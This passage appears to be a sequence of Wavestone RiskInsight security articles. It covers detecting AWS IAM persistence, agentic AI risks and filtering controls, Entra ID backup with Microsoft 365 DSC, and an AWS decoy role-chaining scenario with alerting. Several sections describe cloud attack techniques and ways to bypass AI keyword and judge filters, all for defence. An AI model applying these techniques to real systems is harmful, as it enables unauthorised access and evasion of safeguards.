In sensitive environments, such configuration changes should trigger immediate alerts, automatic remediation and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.

Conclusion

CSPM

The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.

A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.

EDR

Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.

A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.

Backup and logging

Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.

Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.

Cet article AWSDoor: Persistence on AWS est apparu en premier sur RiskInsight.

The projected impact of agentic AI is significant. By 2028, it could automate 15% of routine[1] decision-making and be embedded in a third of enterprise applications, up from virtually none today. At the same time, perceptions of risk are shifting. In early 2024, Gartner surveyed 345 senior risk executives and identified malicious AI-driven activity and misinformation as the top two emerging threats[2]. Yet despite these concerns, organisations are accelerating adoption. By 2029, agentic AI could autonomously resolve up to 80% of common customer service issues, reducing costs by as much as 30%[3]. This tension, between the growing promise of agentic AI and the expanding risk surface it introduces, raises a critical question:

“How can organisations securely deploy agentic AI at scale, balancing innovation with accountability, and automation with control?”

This article explores that question, outlining key risks, security principles, and practical guidance to help CISOs and technology leaders navigate the next wave of AI adoption.

An AI agent is an autonomous AI system in the decision-making process

In AI systems, agents are designed to process external stimuli and respond through specific actions. The capabilities of these agents can vary significantly, especially depending on whether they are powered by LLMs.

Figure 1: A diagram to show the different constituent parts of an LLM-enabled agent, showing 1) external stimuli, 2) the agents core processes (reasoning and tools) and 3) the agent’s actions

Traditional agents typically follow a rule-based or pre-programmed workflow: they receive input, classify it, and execute a predefined action. In contrast, agentic AI introduces a new dimension by incorporating LLMs to perform reasoning and decision-making between perception and action. This, with only few words to configure it. This enables more flexible, context-aware responses, and in many cases, allows AI agents to behave more like human intermediaries.

As illustrated in Figure 1, the agentic AI workflow unfolds in several stages:

1. Perception: The AI agent receives external stimuli, such as text, images, or sound.
2. Reasoning: These inputs are processed through an orchestration layer, which transforms them into structured formats using classification rules and machine learning techniques.

Here, the LLM plays a central role. It adds a layer of adaptive thinking that enables the agent to analyse context, select tools, query external data sources, and plan multi-step actions.

3. Action: With refined data and a reasoning layer applied, the agent executes complex tasks, often with greater autonomy than traditional systems.

This architecture gives agentic AI the ability to operate across dynamic environments, adapt in real time, and coordinate with other agents or systems, a key differentiator from earlier, more static automation.

In summary, AI agents with LLM capabilities can perform more complex actions by applying “AI reasoning” to transformed and refined data, making them more powerful and versatile than traditional agents.

Field insights on Agentic AI use-cases in client environments

Businesses have rightfully recognised the potential of these AI agents in a variety of use cases, ranging from the simple, to the more complex. We will now take a deeper look at some of the different common use cases across these different levels of agent autonomy.

Basic Use Cases: Chatbot/Virtual Agents

AI agents can be configured to provide instant answers to complex questions and can be designed to only answer from certain information repositories. This allows them to smoothly and effectively guide users through extensive SharePoint libraries or other document repositories. Acting as both a search function and an assistant, these agents can dramatically improve the productivity of employees by reducing the time spent searching for information and ensuring that users have quick access to the data they need. For example, a chatbot integrated into SharePoint can help employees locate specific documents, understand company policies, or even assist with onboarding processes by providing relevant information and resources. These agents have no autonomy, and only directly respond to requests as they are made by users.

Intermediate Use Cases: Routine Task Automation

Agents can be used to streamline repetitive tasks such as managing scheduling, processing customer enquiries, and handling transactions. These agents can be designed to follow specified processes and workflows, offering significant advantages over humans by reducing human error and increasing productivity. For instance, an AI agent can automatically schedule meetings by coordinating with participants’ calendars, send reminders, and process routine customer service requests such as order tracking or account updates. This automation not only saves time but also ensures consistency and accuracy in task execution. Additionally, by handling routine tasks, AI agents free up human employees to focus on more complex and strategic activities, thereby contributing to higher efficiency and productivity within the organisation.

Advanced Use Cases: Complex data analysis & vulnerability management

Agents can also be used for more complex use cases, specifically in a security context. For example, Microsoft has recently announced the release of AI agents as part of their security copilot offering, with previews releasing in April 2025. One particularly interesting use case is regarding vulnerability remediation agents. These agents will work within Microsoft Intune to monitor endpoints for vulnerabilities, assess these vulnerabilities for potential risks and impacts, and then produce a prioritised list of remediation actions. This provides a large increase in productivity for security teams, as they can then focus on the most critical issues and streamline the decision-making process. By automating the identification and prioritisation of vulnerabilities, these agents help ensure that security teams can address the most pressing threats promptly, reducing the risk of security breaches and improving overall security posture.

The promise of intelligent automation and cost efficiency is compelling, but it also introduces a strategic trade-off. CISOs will face the growing challenge of securing increasingly autonomous systems. Without robust guardrails, organisations expose themselves to operational disruption, governance failures, and reputational damage. Transparency, asset visibility, and cloud security are areas which will also require heightened vigilance and a proactive security posture. The benefits are clear, but so are the risks. Without a security-first approach, agentic AI could quickly become a liability for organisations as much as an asset.

Risks mainly known but with increased likelihood and impact

Agentic AI introduces a new level of security complexity. Unlike traditional AI systems, where threat surfaces are generally limited to inputs, model behaviour, outputs, and infrastructure, agentic AI systems operate across dynamic, autonomous chains of interaction. This covers exchanges such as agent-to-agent, agent-to-human, and human-to-agent, many of which are difficult to trace, monitor, or control in real time. As a result, the security perimeter expands beyond static models to encompass unpredictable behaviours and interactions.

Recent work by OWASP on Agents’ security[4] highlights the breadth of threats facing AI systems today. These risks span multiple domains:

• Some are traditional cybersecurity risks (e.g., data extraction, and supply chain attacks),
• Others are general GenAI risks (e.g., hallucinations, model poisonning),
• A third emerging category relates specifically to agents’ autonomy in realising actions in real world.

In addition to traditional risks, agentic AI systems introduce new security threats, such as data exfiltration through agent-driven workflows, unauthorised or unintended code execution, and “agent hijacking,” where agents are manipulated to perform harmful or malicious actions. These risks are amplified by the way many agentic AI applications are built today. Around 90% of current AI agent use cases rely on low-code platforms, prized for their speed and flexibility. However, these platforms often depend heavily on third-party libraries and components, introducing significant supply chain vulnerabilities and further expanding the overall attack surface.

Agentic AI represents a shift from passive prediction to action-oriented intelligence, enabling more advanced automation and interactive workflows. As organisations deploy networks of interacting agents, the systems become more complex, and their exposure to security risks increases. With more interfaces and autonomous exchanges, it becomes essential to establish strong security foundations early. A critical first step is mapping agent activities to maintain transparency, support effective auditing, and enable meaningful oversight.

Security Best Practices

1. Activity Mapping & Security Audits

Since AI agents operate autonomously and interact with other systems, mapping all agent activities, processes, connections, and data flows is crucial. This visibility enables the detection of anomalies and ensures alignment with security policies.

Regular audits are vital for identifying vulnerabilities, ensuring compliance, and preventing shadow AI where agents act without oversight. Unauthorised agents can expose systems to significant risks, and shadow AI, especially unsanctioned models, pose major data security threats. Auditing decision-making processes, data access, and agent interactions, along with maintaining an immutable audit trail, supports overall accountability and traceability.

To mitigate these risks, organisations should adopt clear governance policies, comprehensive training, and effective detection strategies. These practices should be backed by a strong library of AI controls and data governance policies. However, audits and governance alone aren’t enough. Robust access controls for AI agents are necessary to restrict actions and protect the system’s integrity.

      2. AI Filtering

To avoid the agent performing inappropriate actions, the first step is to ensure that its decision-making system is protected. One of the most efficient ways is by filtering potentially malicious inputs and outputs of the Decision-Maker, often composed of an orchestrator & an LLM.

Several technical ways to perform AI filtering:

Keyword filtering – Medium-Low Efficiency: Prevent the LLM from considering any input containing specified keywords and from generating any output containing these keywords.

• Pro: Quick win, particularly on the outputs, for example preventing a chatbot from generating any rude words.
• Con: Can easily be bypassed by using obfuscated inputs or requiring obfuscated outputs. For example, “p@ssword” or “p,a,s,s,w,o,r,d” can be ways to bypass the keyword “password”

LLM as-a-judge – High Efficiency: Ask to the LLM to analyse both inputs & outputs and identify if they are malicious.

• Pro: Extend the analysis to the whole answer.
• Con: Can be bypassed by overflowing the agent’s inputs, so it has trouble dealing with the whole input.

AI Classification – Very-High Efficiency: Define categories of topic that the LLM can answer or not. It can be done through whitelisting (the LLM can answer to only some categories of topics) and blacklisting (the LLM cannot answer to some precise categories of topics). Use a specialised AI system to analyse each input and output.

• Pro: Ensure the agent’s alignment by not letting it receive inputs on topics it should not be able to answer.
• Con: High cost, as it requires additional LLM analysis.

These filtering actions need to be performed for the users’ inputs, but sometimes also for the data retrieved from external sources (they can be poisoned).

      3. AI-specific Security Measures

Human-in-the-loop (HITL) oversight is essential for ensuring the responsible and secure operation of agentic AI. While AI agents can autonomously perform tasks, human review in high-risk or ethically sensitive situations provides an extra layer of judgment and accountability. This oversight helps prevent errors, biases, and unintended consequences, while allowing organisations to intervene when AI actions deviate from guidelines or ethical standards. HITL also fosters trust in AI systems and ensures alignment with business objectives and regulatory requirements. To maximise the benefits of automation, a hybrid AI-human approach is critical, supported by ongoing training to address compliance and inherent risks.

Some actions may be strictly forbidden to the agent, some should require human validation, and some could be done without human supervision. These actions should be determined through classical risk analysis, based on the agent’s impact & autonomy.

Triggers should be set-up to determine if and when human validation is needed. This can be set-up in the LLM Master Prompt, and access can be restricted by using an appropriate IAM model.

      4. Access Controls & IAM

As AI agents take on more active roles in enterprise workflows, they must be managed as non-human identities (NHIs), with their own identity lifecycle, access permissions, and governance policies. Accordingly, this requires integrating agents into existing identity and IAM frameworks, applying the same rigor used for human users.

Managing AI agents introduces new requirements. When acting on behalf of end-users, agents must be constrained to operate strictly within the permissions of those users, without exceeding or retaining elevated privileges. To achieve this, organisations should enforce key IAM principles:

• Just Enough Access (JEA): Limit agents to the minimum set of permissions required to complete specific tasks.
• Just in Time (JIT) access: Provision access temporarily and contextually to reduce standing privileges and exposure.
• Segregation of duties and scoped credentials: Define clear boundaries between roles and prevent unauthorised privilege escalation.

In addition, to further enhance control, security teams should implement real-time anomaly detection to monitor agent behaviour, flag policy violations, and automatically remediate or escalate issues when necessary.

Access to sensitive data must also be tightly restricted. Violations should trigger immediate revocation of privileges and deny lists should be used to block known malicious patterns or endpoints.

Ultimately, while technical controls are essential, they should be supported by human oversight and governance mechanisms, particularly when agents operate in high-impact or sensitive contexts. IAM for agentic AI must evolve in step with these systems’ increasing autonomy and integration into critical business functions.

      5. AI Crisis Response & Red teaming

While AI-specific controls are essential, traditional measures like crisis management must also extend into the AI landscape. As cyberattacks become more sophisticated, organisations should consider crisis management strategies for potential AI failures or compromises; by ensuring all teams such as AI scientists, operational teams, and security teams are equipped to respond quickly and effectively to minimise disruption.

Concrete guidelines for CISOs

This year CISOs will be exposed to increased threats introduced by agentic AI alongside ongoing regulatory pressure from complex regulations such as DORA, NIS 2 and the AI Act. Both CISOs and CTOs will collaborate closely, with CISOs overseeing the secure deployment of AI systems to ensure that agent interactions are carefully mapped and secured to safeguard the security of their organisations, workforce and customers.

Key starting points for CISOs:

• Limit access to AI agents by enforcing strong access controls and aligning with existing IAM policies.
• Monitor agent behaviour by tracking activity and conducting regular audits to identify vulnerabilities.
• Filter the agent’s inputs and outputs to ensure that the decision-maker does not launch any unwilled action.
• Implement Human-in-the-Loop oversight to validate AI outputs for critical decisions/tasks.
• Provide agentic AI awareness training to educate employees on the risks, security best practices and identifying potential attacks.
• Perform AI red teaming on the agent, to identify potential weaknesses.
• Despite all security measures, AI operates on probabilistic principles rather than deterministic ones. This means that the agent might occasionally behave inappropriately. Therefore, it’s crucial to establish clear accountability for any wrongful actions taken by AI agents.
• Prepare for AI crises early by initiating discussions with relevant teams to ensure a coordinated response if an incident occurs.

Over the past several years, Wavestone has observed a marked increase in client maturity around AI security. Many organisations have already implemented robust processes to assess the sensitivity of AI initiatives and to manage associated risks. These early efforts have proven valuable in reducing exposure and strengthening governance.

While agentic AI does not fundamentally rewrite the AI security playbook, it does introduce a meaningful shift in the risk landscape. Its inherently autonomous, interconnected nature increases both the impact and likelihood of certain threats. The complexity of these systems can be challenging at first, but they are manageable. With a clear understanding of these dynamics and the emergence of new market standards and security protocols, agentic AI can deliver on its transformative potential.

As this transition unfolds, we remain committed to helping CISOs and their teams navigate the evolving risk environment with confidence.

References

[1] Orlando, Fla., Gartner Identifies the Top 10 Strategic Technology Trends for 2025, October 21, 2024. https://www.gartner.com/en/newsroom/press-releases/2024-10-21-gartner-identifies-the-top-10-strategic-technology-trends-for-2025

[2] Stamford, Conn., Gartner Predicts Agentic AI Will Autonomously Resolve 80% of Common Customer Service Issues Without Human Intervention by 2029, March 5, 2025. https://www.gartner.com/en/newsroom/press-releases/2025-03-05-gartner-predicts-agentic-ai-will-autonomously-resolve-80-percent-of-common-customer-service-issues-without-human-intervention-by-20290

[3] Stamford, Conn. Gartner Survey Shows AI-Enhanced Malicious Attacks Are a New Top Emerging Risk for Enterprises, May 22, 2024. https://www.gartner.com/en/newsroom/press-releases/2024-05-22-gartner-survey-shows-ai-enhanced-malicious-attacks-are-new0

[4] OWASP, OWASP Top 10 threats and mitigation for AI Agents, 2025. OWASP-Agentic-AI/README.md at main · precize/OWASP-Agentic-AI · GitHub

Thank you to Leina HATCH for her valuable assistance in writing this article.

Cet article Agentic AI: typology of risks and security measures est apparu en premier sur RiskInsight.

In this article, we will expose the cyber-resilience challenge of Entra ID, explain why native features are incomplete and present the result of a PoC conducted on an open-source tool, Microsoft 365 DSC, to backup and recover Entra ID’s data.

The challenge of cyber-resilience in managed Cloud services

With Entra ID, the directory management strategy is in line with the Cloud paradigm. It means that the various network, storage, computer, OS and application layers are handled by Microsoft, leaving the customer to focus solely on his identity data.

This fundamental difference has an impact on the resiliency of the service. Indeed, the creation of snapshots to back up the integrality of the system, which is a common practice on AD, is not native on a managed service such as Entra ID. Thus, in order to face a disaster recovery scenario linked to malicious activities, we can only rely on native Microsoft functionalities: the identity lifecycle model, RBAC administration model and import/export capabilities.

The incomplete soft delete model

To ensure resilience, Cloud services are widely using a soft delete mechanism. Its main purpose is to recover data in the event of an accidental deletion. For example, in Azure Recovery Service Vault, the soft delete is the last safeguard in the event of intentional or unintentional deletion of the vault. Combined with immutability parameters, the vault cannot be erased regardless of admin permissions.

In Entra ID, the concept of soft delete exists but is insufficient to ensure data resilience for two reasons. On the one hand, there is neither role distinction between soft-delete and hard-delete nor Recovery role, i.e. the permissions required to delete an object are sufficient to allow for permanent deletion. On the other hand, the life cycle of objects in Entra ID (create, manage, delete) is governed by the same role:

• The role User Administrator can both create and hard-delete a user
• The role Cloud Application Administrator can register an application, configure all aspects of the application and hard-delete the application
• The role Cloud Device Administrator can add a device, configure all aspects of the device and unregister a device

The impact of a deletion on Entra ID

This design makes the User Administrator, Privileged Authentication Administrator, Cloud Application Administrator, Application Administrator, Cloud Device Administrator, Intune Administrator and Windows 365 Administrator roles all the more critical, as their compromise can lead to the permanent loss of identity data. The impact of such a deletion can be a loss of access to applications and data, a loss of permissions, and an inability to administrate.

Although the deletion of hybrid users synchronized with an on-premise AD is reversible, information such as role assignment will be lost, threatening the rights and access model. This is not the case for Cloud identities, which are generally part of the Control Plane. As part of the Enterprise Access Model, the Control Plane includes the most sensitive access, leading to a global compromise of an Information System.

In a disaster recovery scenario, some assets are more critical than others and should be backed up as a priority. These include:

• Control Plane users, groups and roles assigned
• Enterprise Applications (service principals) with critical permissions over Azure or Microsoft 365
• Administrative workstations

Comparison of backup open-source methods

To reduce the likelihood of Entra ID malicious data loss risk, the implementation of a backup solution seems essential, at least for the Control Plane in order to maintain control over your Information System and rebuild. We have therefore analyzed 3 open-source methods for ensuring data backup:

• Microsoft Graph PowerShell: this is the PowerShell library for Microsoft Graph APIs. You can build your own script(s) to export and import Entra ID objects attributes that fit with organization needs
• Microsoft Entra Exporter: this is a PowerShell module that export a local copy of some Entra ID attributes (Users, Applications, Service Principals, Roles, etc.) into JSON file
• Microsoft 365 Desired State Configuration (DSC): this is a PowerShell module for declarative configuration, deployment and management of Microsoft 365 services

Backing up Entra ID objects with Microsoft 365 DSC

In this part, we will explain how we tested the open-source solution Microsoft 365 DSC and share the results and conclusions we got.

Our PoC

Microsoft 365 DSC enables the management of the configuration and state of Microsoft 365 services following a declarative approach. By defining the desired state rather than specific steps, it simplifies the management of complex cloud configurations and ensures consistency across the environment.

In the context of a PoC, the test population deployed in our test tenant is as follows:

• 30 Cloud Only Users (randomly generated by Microsoft as part of the test’s tenant creation process)
• 10 Security Groups (randomly assigned to Users)

The purpose of this PoC is to identify the benefits and limitations of the solution through a series of tested and documented uses cases:

The process required configuring a service account with the right permissions (User.ReadWrite.All, Group.ReadWrite.All) in Entra ID to interact with Microsoft Graph API for data export and import.

These permissions enabled the service account to retrieve the necessary configuration and data from Entra ID and later re-import it.

Result of the PoC Microsoft 365 DSC

As a result of these tests, we were able to gather conclusive information on the solution’s benefits and limitations. On the positive side:

• Granular Configuration Selection: The solution allows precise targeting of configurations for backup, enabling users to select specific settings.
• Recovery without deletion: During recovery, current users and groups are retained, preventing accidental deletion.
• Overwrite of Outdated Attributes: Backed-up attributes replace the old ones.
• Language of the Data Storage: Data is stored in JSON format, making it easy to manipulate and modify backup files.
• Automation Capabilities: Once the necessary tools are installed, the solution is easy to automate.
• Monitoring and Alerts: Microsoft 365 DSC can be used to monitor data consistency and receive alerts in the event of suspicious changes
• Snapshot Versions management: It enables easy maintenance and administration of multiple snapshot versions
• Detailed Logging Functionality: It offers the possibility to generate highly detailed logs, providing records of all operations for enhanced oversight.

Despite these advantages, the study revealed several limitations:

• Incomplete Data in Backup: The backup process does not capture all attributes, leading to potential loss of important information.
• Backup Size Limit: The backup size is capped at 11MB, which may be insufficient for larger configurations or datasets.
• Deactivation Status Not Captured: Snapshots do not store deactivation statuses for users, potentially re-enabling disabled users during recovery.
• Unencrypted Data and Credentials: Security concerns arise from data and credentials being stored unencrypted, posing risks to sensitive information.
• Object IDs’ Loss: During imports, object IDs are lost, causing recreated objects to have new IDs, which can lead to duplicate entries in subsequent imports.
• Privileged Service Principal: The service principal involved has elevated privileges, increasing the risk of security vulnerabilities if not properly managed.

It is important to note that this tool does not really support “restoration” as it is possible to re-create objects, but it does not ensure service restoration and continuity. The reason being that it currently cannot restore links between new ID objects and applications, which is an issue native to Entra ID.

Our opinion about Microsoft 365 DSC

Microsoft 365 DSC is a great tool when it comes to basic uses and documentation as it is simple to use and to deploy on test environments. It is also quite efficient as a monitoring tool thanks to its version control and detailed logs. However, it is not adapted to large environments because of the limited scalability, the poor user experience and security issues related to configurations and credentials. It can also lead to inconsistencies or duplication as object IDs that can be referenced elsewhere are unrecoverable.

Additional solutions may be required such as scripting for handling configuration files and ensuring the consistency of the modifications, as well as well-defined encryption and backup processes. Therefore, we recommend always carefully evaluating the specific needs, planning additional developments and mainly using the solution for supervision and testing purposes.

Given the limitations of Microsoft’s open-source tools, it could be worthwhile to explore what third-party vendors, such as Semperis or Quest who are pure players on the subject, have to offer. These alternatives might address some of the challenges related to scalability, reliability and security, providing options that better suit larger environments. It is important to remain open to these possibilities and evaluate them based on the specific requirements of your organization.

Cet article Resilience Entra ID est apparu en premier sur RiskInsight.

Simultaneously, we are moving towards Information Systems that are built on an ever-increasing diversity of environments, thanks in particular to the Cloud, which is now an integral part within corporate Information Systems. This enables corporations ) to expand their capabilities, however it is also the surface area  for risk of attacks.   

Conventional intrusion detection and protection techniques already exist and are developing exponentially. These are effective against the most common attacks, however are not always adapted to the specificities of the Cloud.   

This raises questions about the use of proactive strategies, such as Deceptive Security, to stay one step ahead of attackers. Particularly in the context of Cyber-Resilience; how can this kind of technology be used in both a traditional and a cloud environment?   

When should Deceptive Security techniques be used? Are Deceptive Security solutions in the Cloud being developed today? Are there any specific strategies to consider in a Cloud environment as opposed to a traditional one?  

We will answer these questions in a mini-series of 2 articles. In the first article, we showed how to develop and evaluate your decoy strategy. In the second article, we’ll present a practical example of deceptive security in AWS.  

Initial assumptions and choice of scenario     

Thanks to Wavestone’s expertise and the resources shared by our CyberLab, we have designed a simple scenario to illustrate the use of decoys in an AWS Cloud environment. The example detailed below is inspired by a CTF (Capture The Flag) scenario designed by the CyberLab team to illustrate the lateral propagation of an attacker.  

As in the previous scenarios, where we used Deceptive Security for the detection of attackers already introduced into the IS, the aim is once again to avoid attracting opportunistic attackers to our network with a “search” Deceptive Security approach. We therefore assume an initial infection of some kind, which is highly probable (all the more so in poorly controlled Cloud environments), and concentrate on detecting the intruder as it is being deployed into the network. 

Applying this approach to an AWS environment is no innocent matter. One of the benefits of the Cloud lies in its simplified identity management and easy delegation of access, but this asset can turn to the advantage of attackers in the event of unintentional exposure of resources, or the creation of dangerous links between zones of different security levels. There is no shortage of hardening and prevention measures, generously promoted by Cloud providers themselves, but these vulnerabilities remain in poorly hardened accounts and subscriptions, whose administration too often obeys rules that are still informal.   

The attack scenario and associated luring will therefore be based on the principle of linking two AWS accounts, here conceived as a production environment and a less critical development environment. We’ll place ourselves in a scenario where an approval relationship is used to propagate from the development account to the production account, via the endorsement of a cross-account role. 

Luring scenario  

Description of the scenario   

Let’s assume that an unauthorized user has gained access to an EC2 machine (domainIntegrated-EC2) within the test account (initial infection). After an initial successful connection,  they attempt to access commonly used resources such as Amazon Simple Storage Service (Amazon S3), or tries to elevate their privileges by assuming other roles (role chaining) related to the role to which they have access.  

This lateral propagation scenario is a common attack technique in cloud environments due to the nature of their architecture and the cloud computing responsibility model, where the customer is responsible for securing their applications, data and access control (while the provider ensures the security of the underlying infrastructure). 

As illustrated below, lateral propagation attacks take advantage of weaknesses in the customer’s security controls, such as misconfigured authorizations or the application of too-weak authentication mechanisms, to gain unauthorized access to other resources in the environment. 

Scenario from the attacker’s point of view 

0. After compromising a “domainIntegrated” EC2 machine, the attacker discovers that it has a role associated with it (“Semi-Admin-role”):  

 
Enumeration of EC2 machine domainIntegrated 

It then lists the rights of the “Semi-Admin-Role”: 

 
Enumeration of Semi-Admin-Role rights 

First, this role has modification privileges on a resource in the “AWS – SHARED” account: it can assume (sts:assumeRole) and modify (iam:UpdateRole) a role called “LambdaAuto”. He can then assume (by “role chaining”, step 5 in the diagram above) another role called “SecurityAudit” in a different account, called AWS MASTER.  

The attacker also realizes that they can directly assume another role (“IAM-RO-Role”) in the AWS – MASTER account. This latter role attracts particular attention, as the MASTER account’s name suggests a much greater scope of action than the simple SHARED account, and the IAM-RO-Role role suggests an extended scope of vision over the account’s resources. 

1. The attacker assumes the “SemiAdmin-role”, which then allows them to assume the “IAM-RO” role and attempt other actions that will enable them to analyze their field of vision. 
2. Indeed, after assuming the “IAM-RO” role, he proceeds to an IAM enumeration where they becomes aware of the roles and users in their field of vision: 

List of roles in the field of view of the IAM-RO role  

List of users in the field of view of the IAM-RO role  

The “SecurityAudit” role in particular attracts their attention thanks to the privileges that this name suggests and the role description, which provides information on these privileges:  

SecurityAudit role description 

However, the attacker only has read access to the resources listed. They will therefore look to see if any of these resources can be written to from the SHARED account, where they have high privileges. For example, if certain MASTER account roles can be endorsed by SHARED account roles:   

List of roles that can be assumed from an external account (here the SHARED account) 

The attacker investigates the approval relationship of the “SecurityAudit” role, which authorizes an endorsement by the “LambdaAuto” role of the SHARED account. 

0. Back on the SHARED account, all the attacker has to do is check that the other counterpart of this approval relationship, i.e. that the “LambdaAuto” role does indeed authorize the “SecurityAudit” role’s endorsement in its approval policy. This is not the case, but the “SemiAdminRole” role allows it to configure this authorization. 

1.Once the “LambdaAuto” role approval policy has been modified, it can now assume the “LambdaAuto” role. 

2. Then they take on (by role-chaining) the role of “SecurityAudit”, the real decoy. 

Role chaining of the attacker 

After attempting to take on the “SecurityAudit” role, from which they hope to gain the privileges of a security auditor (announced in step 1), the attacker in reality finds themself without any real powers, for example : 

Example of denied access from the SecurityAudit  

Creating lures 

The diagram below shows how decoys are added at different stages of the attack and how they are configured by the defender: 

Scenario from the defender’s point of view  

0.The “Semi-Admin-Role” is the entry point into the decoy scenario. It can therefore be associated with any resource likely to be compromised (here the EC2 “domainIntegrated”) to redirect the attacker to the decoys. 

No alerts are configured at this level, as the Semi-Admin role’s connection to all SHARED account resources makes it likely that unintentional endorsements will be triggered, resulting in false-positive alerts. 

1. Once the IAM-RO role has been assumed, the attacker is then invited into an account entirely dedicated to luring and familiarising themselves with the surrounding resources, gaining a complete overview of all the account’s roles and users.   
2. By populating the attacker’s field of vision not only with the main “SecurityAudit” decoy, but also with other dummy roles and users, we ensure that the account’s appearance appears credible and that our key decoy, the SecurityAudit role, is not isolated.   

We thus add to the account :   

• Users : different user names attracting the attacker.  
• The “LambdaFunction” role: this role is created to simulate a Lambda function that calls on AWS services.  
• The “LogsAndS3Bucket” role: a role created to facilitate access to logging services and S3 storage resources within the account.  
• The “taskExecutionRole”: the task execution role that can be used for different purposes and services associated with the account.  

3.  The “SemiAdminRole” role has deliberately been configured with permission (iam:UpdateRole) on the “LambdaAuto” role, enabling it to modify this role and thus add the approval relationship to the “SemiAdminRole” role. For monitoring purposes, an initial alert can be triggered at this level when the “LambdaAuto” approval relationship is updated, enabling the “SemiAdminRole” to assume it.   

4. The “LambdaAuto” role is deliberately created as the gateway to the “SecurityAudit” role, once its approval relationship has been modified using the privileges of the “SeminAdminRole” role. 

5. The “SecurityAudit” role is deliberately configured with an approval relationship authorizing the “LambdaAuto” role of the SHARED account to assume it. 

6. At this stage, the attacker had assumed that they would be granted security auditor rights. However, a very restrictive Security Control Policy (SCP) was applied, granting them no privileges on the account. 

The policy prohibiting all actions from the Security-Audit-Role 

Alerting chain 

An alerting chain in the AWS cloud refers to a means of communicating notifications or alerts generated by AWS services to users or teams responsible for managing these services, enabling them to take rapid action to resolve problems and minimize service interruptions.   

To set up an alerting chain, you first need to configure AWS services to generate alerts when certain events occur, such as, a server down or an application exceeding a specific CPU usage threshold. Once these alerts have been generated, they can be sent to the appropriate alerting chain according to the notification preferences configured by the user or the team responsible for managing the service.   

In order to detect the attacker, we use the following AWS services to create the alerting chain: 

• CloudTrail l to track actions performed on the compromised AWS account; 
• EventBridge to detect any “AssumeRole” event of the “SecurityAudit” role and trigger an alert ; 
• Simple Notification Service (SNS) to send the alert by e-mail with the information gathered during the attack.  

Illustration of the alerting chain 

Alerting chain creation steps :  

Cloudtrail configuration  

The first step in creating an alerting chain on AWS is to enable CloudTrail (if not already activated) in your AWS account. CloudTrail logs all activity and API calls in your account, which can be useful for security, compliance and troubleshooting purposes.   

Based on the logs generated in CloudTrail, we’ve created an EventBridge rule that sends notifications to the SNS service whenever the “SecurityAudit” role is assumed (event type: AssumeRole). 

Creation of an EventBridge rule 

A rule monitors specific types of events, and when a corresponding event occurs, it is routed to the service associated with the rule and handling the event (in this case, the SNS service).  

The event model detects all events of the “AssumeRole” type occurring in the account used and triggers the alert. In order to avoid false positives when triggering alerts, we have refined the event model to be as accurate as possible for the events we are interested in.   

This means including relevant fields, such as event source, detail type or specific values, to refine the matching criteria. This reduces the risk of unrelated events triggering the rule. 

The event model detecting all “AssumeRole” events on the “SecurityAudit” role 

The Eventbridge service must therefore first be linked to the SNS target.   

The target related to the EventBridge rule 

SNS rubric configuration  

At this stage, an SNS topic is created and linked to a subscription of an e-mail endpoint authenticated later. The SNS topic will be the target of the EventBridge rule. Once the topic has been created, the e-mail subscription is carried out by selecting the e-mail address as the protocol (endpoint) where the alerts are to be received. 

Other targets than e-mail could be considered for receiving alerts (ServiceNow, SIEM, etc.). 

Details of the SNS rubric 

Alert customization  

EventBridge’s Input Transformer function was used to customize the content of the alert, so that only the most important elements were displayed.   

It allows you to customize the text of an event before it is transmitted to the target.  This is achieved by defining JSON variables to reference values in the original event source. 

Input transformer configuration  

In our case, the variables listed below will constitute the alert message: 

Input transformer creation 

Input model 

The input model will use the variables defined previously within the final alert message:    

Input model creation 

Once the “SecurityAudit” role has been endorsed, an alert is sent to the endpoint created: 

Example of e-mail alert content 

Cost of the AWS services used  

AWS offers a pay-per-use approach to pricing its cloud services. With AWS, you only pay for the services you need, as long as you continue to use them, without a long-term contract. You only pay for the services you use, and if you stop using them, you won’t be charged any additional costs or termination fees.  

The services deployed in this scenario are not intended to be used except in the event of an intrusion or security incident. The associated costs are therefore negligible.   

Decoy evaluation with the PARCS matrix 

Several criteria can be used to evaluate a lure, and here are the results of our analysis based on the PARCS matrix:   

• Pertinence (efficiency) : 4/4 

«  Various approaches can be adopted to effectively spot the initial compromise of an EC2 instance and the lateral propagation of an attacker. In our context, depending on the resources at our disposal, one possible strategy is to monitor operations by analyzing logs, which will enable malicious actions to be detected. These observations could then be used to generate alerts for administrators. For example, an alert could be triggered in the event of an intrusion attempt via a brute force attack on the RDP service of EC2 instances within our AWS environment, thanks to GuardDuty.  

In addition, it would be possible to use a combination of AWS services such as CloudTrail and EventBridge to establish detection rules and automate interventions in response to specific activities, including those related to cross-account access, and create detection rules that monitor all endorsement events to trigger actions in the event of corresponding events. » 

• Attractivité (attractiveness): 4/4 

